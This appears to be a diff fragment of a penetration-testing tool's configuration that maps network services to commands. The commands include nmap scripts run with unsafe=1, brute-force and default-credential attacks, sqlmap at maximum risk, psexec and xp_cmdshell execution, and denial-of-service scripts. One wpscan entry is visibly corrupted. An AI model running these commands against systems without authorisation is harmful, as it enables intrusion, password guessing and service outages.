+http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl" +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +wpscan=Run wpscan, "wpscan --url [IP]:[PORT], http", "https\nx11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11\n\n[PortTerminalActions]\nfirefox=Open with firefox, firefox [IP]:[PORT], \nftp=Open with ftp client, ftp [IP] [PORT], ftp\nmssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], mys-sql-s" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, 